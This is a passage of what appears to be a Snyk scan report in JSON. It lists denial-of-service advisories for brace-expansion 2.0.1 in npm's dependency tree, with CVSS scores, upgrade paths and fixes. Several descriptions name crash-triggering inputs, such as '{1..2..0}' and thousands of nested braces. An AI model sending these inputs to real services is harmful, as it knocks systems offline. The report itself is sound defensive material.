Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
